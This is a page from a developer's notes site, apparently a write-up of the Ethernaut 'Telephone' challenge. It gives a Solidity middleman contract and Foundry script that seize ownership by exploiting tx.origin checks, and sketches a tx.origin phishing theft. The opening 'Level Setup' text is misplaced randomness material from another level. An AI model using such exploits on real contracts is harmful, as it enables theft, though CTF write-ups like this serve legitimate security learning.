Eridian
eridian.xyzx.comGitHub
  • ๐Ÿ“–Eridian Docs
  • Ethereum Dev
    • โœ๏ธEthereum Notes
      • ๐ŸŽ›๏ธTechnical Basics
      • ๐ŸชงEthereum Addresses
      • ๐Ÿ“šEthereum State Explained
      • โ›ฝGas Fees Explained
    • ๐Ÿ”งUseful Tools
      • โ˜๏ธEthers
      • *๏ธโƒฃEthernal
    • ๐Ÿ“Solidity Notes
      • โ”Interview Questions
        • ๐ŸŸข1. Easy - Interview Questions
        • ๐ŸŸ 2. Medium - Interview Questions
        • ๐ŸŸก3. Hard - Interview Questions
        • ๐Ÿ”ด4. Advanced - Interview Questions
      • ๐Ÿ’กNote Ideas
      • ABI
      • abi.encodePacked
      • Abstract Contracts
      • Arrays
      • Casting
      • CEI - Checks, Effects, Interactions
      • Comments (NATSPEC)
      • Constructor
      • Contract Structure & Versions
      • Data - Storage vs Memory
      • Data - Storage Layout
      • Enum
      • Errors (require & revert)
      • Events
      • EVM Opcodes
      • External Contract Interaction
      • ๐Ÿ—๏ธExternal Dependencies
      • Functions
      • Function Modifiers
      • If / Else / For / While Loops
      • Inheritance
      • Interfaces
      • Keccak256
      • Library
      • Mappings
      • msg.sender
      • Objects & Types
      • OpenZeppelin
      • Payable
      • Public State Variable vs Function
      • Receive & Fallback
      • Security
      • Self Destruct
      • Send ETH (transfer, send, call)
      • Stack Too Deep
      • Structs
      • Style Guide
      • Time Units
      • Try / Catch
      • Typecasting
      • Using Directive
      • Variables, Consts & Immutable
      • Withdraws
    • โš’๏ธFoundry Notes
      • ๐Ÿ“–Docs & GitHub Pages
      • ๐ŸคUseful Commands
        • ๐Ÿ”จAnvil
        • ๐Ÿช„Cast
        • ๐Ÿ”ฅForge
      • ๐ŸงชTests
        • Cheatcodes
      • ๐Ÿ“Useful Scripts
        • Deploy Contract Using Hex
    • ๐Ÿ‘พDeFi Challenges
      • ๐Ÿ‘จโ€๐Ÿš€Ethernaut
        • Ethernaut - Template
        • Level 1 - Fallback โบ
        • Level 2 - Fallout โบ
        • Level 3 - Coin Flip โบโบ
        • Level 4 - Telephone โบ
        • Level 5 - Token โบโบ
        • Level 6 - Delegation โบโบ
        • Level 7 - Force โบโบโบ
        • Level 8 - Vault โบโบ
        • Level 9 - King โบโบโบ
        • Level 10 - Re-entrancy โบโบโบ
        • Level 11 - Elevator โบโบ
        • Level 12 - Privacy โบโบโบ
        • Level 13 - Gatekeeper 1 โบโบโบโบ
        • Level 14 - Gatekeeper 2 โบโบโบ
        • Level 15 - Naught Coin โบโบโบ
        • Level 16 - Preservation โบโบโบโบ
        • Level 17 - Recovery โบโบโบ
        • Level 18 - Magic Number โบโบโบ
        • Level 19 - Alien Codex โบโบโบโบ
        • Level 20 - Denial โบโบโบ
        • Level 21 - Shop โบโบ
        • Level 22 - Dex โบโบ
        • Level 23 - Dex Two โบโบ
        • Level 24 - Puzzle Wallet โบโบโบโบ
        • Level 25 - Motorbike โบโบโบ
        • Level 26 - DoubleEntryPoint โบโบ
        • Level 27 - Good Samaritan โบโบโบ
        • Level 28 - Gatekeeper 3 โบโบโบ
        • Level 29 - Switch โบโบโบโบ
        • Level 30 - Higher Order โบโบโบโบ
        • Level 31 - Stake โบโบโบ
      • ๐Ÿ’ธDamn Vulnerable DeFi
    • ๐Ÿ”Auditing
      • ๐Ÿ—ž๏ธExploit Resources
      • ๐Ÿ”งAudit Tools
    • ๐Ÿค–MEV
  • Infrastructure Docs
    • ๐Ÿ’ปHardware
    • ๐ŸงLinux
      • ๐Ÿ“–Linux Glossary
      • โŒจ๏ธLinux Commands
      • ๐Ÿ’พInstallation
      • ๐Ÿ—๏ธMaintenance
      • ๐Ÿ–ฅ๏ธUbuntu Desktop
      • ๐Ÿ›œZeroTier
      • ๐ŸŽž๏ธTMUX
      • ๐Ÿ”ตBluetooth
    • โ›“๏ธEthereum Clients
      • โš™๏ธExecution Clients
        • โ›๏ธGeth
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
        • ๐ŸปErigon
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
        • ๐ŸงถBesu
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • ๐ŸคBeacon Clients
        • ๐Ÿ’กLighthouse
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
        • ๐Ÿช…Teku
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • ๐Ÿ’ŽValidator Clients
        • ๐Ÿ’กLighthouse
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • โž•L2 Clients
        • ๐Ÿ”ตBase
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • ๐Ÿ’ฐMEV Boost
        • ๐Ÿ’พInstallation
        • ๐Ÿ—๏ธMaintenance
    • ๐ŸšจAlerting and Monitoring
      • ๐Ÿ”ฅPrometheus
      • ๐ŸŒก๏ธHealthChecks.io
      • ๐Ÿ“ŸPagerDuty
  • General Dev
    • ๐Ÿ’พGit Notes
      • Repos
      • Committing changes
      • Branches
      • Merging & Rebasing
      • PRs
Powered by GitBook
On this page
  • Level Setup
  • Level Contract
  • Exploit
  • Completion Message
  • Notes
Edit on GitHub
  1. Ethereum Dev
  2. DeFi Challenges
  3. Ethernaut

Level 4 - Telephone โบ

Last updated 8 months ago

Level Setup

Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.

To get cryptographically proven random numbers, you can use , which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.

Some other options include using Bitcoin block headers (verified through ), , or ).

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Exploit

The contract is vulnerable because the msg.sender is the address that sent the transaction to interact with the contract, but this is only the final address if the transaction involved multiple contracts.

  1. Create a middleman contract so that x.origin != msg.sender.

make anvil-exploit-level-4

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-4

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level4.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

// ================================================================
// โ”‚                      LEVEL 4 - TELEPHONE                     โ”‚
// ================================================================
contract TelephoneMiddleman {
    function run(address _targetContractAddress) public {
        ITelephone(_targetContractAddress).changeOwner(msg.sender);
    }
}
script/Level4.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {TelephoneMiddleman} from "../src/Level4.sol";

// ================================================================
// โ”‚                      LEVEL 4 - TELEPHONE                     โ”‚
// ================================================================
contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();

        vm.startBroadcast();
        TelephoneMiddleman telephoneMiddleman = new TelephoneMiddleman();
        telephoneMiddleman.run(targetContractAddress);
        vm.stopBroadcast();
    }
}
  1. Submit instance... ๐Ÿฅณ

Completion Message

An example of a possible attack is outlined below.

  1. Use tx.origin to determine whose tokens to transfer, e.g.

function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
  1. Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.

function () payable {
  token.transfer(attackerAddress, 10000);
}
  1. In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.

Notes

  • In a simple call chain A->B->C->D inside D msg.sender will be C and tx.origin will be A.

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as .

๐Ÿ‘พ
๐Ÿ‘จโ€๐Ÿš€
this
Difference between tx.origin and msg.sender
Chainlink VRF
BTC Relay
RANDAO
Oraclize
The EthernautOpenZeppelin
Logo
ethernaut/contracts/src/levels/Telephone.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd ยท OpenZeppelin/ethernautGitHub
https://github.com/EridianAlpha/ethernaut-foundry/blob/main/src/Level4.sol
https://github.com/EridianAlpha/ethernaut-foundry/blob/main/script/Level4.s.sol
ethernaut-openzeppelin-hacks/level_4_Telephone.md at e936301859334383d568a614084917100319205e ยท nvnx7/ethernaut-openzeppelin-hacksGitHub
Logo
Logo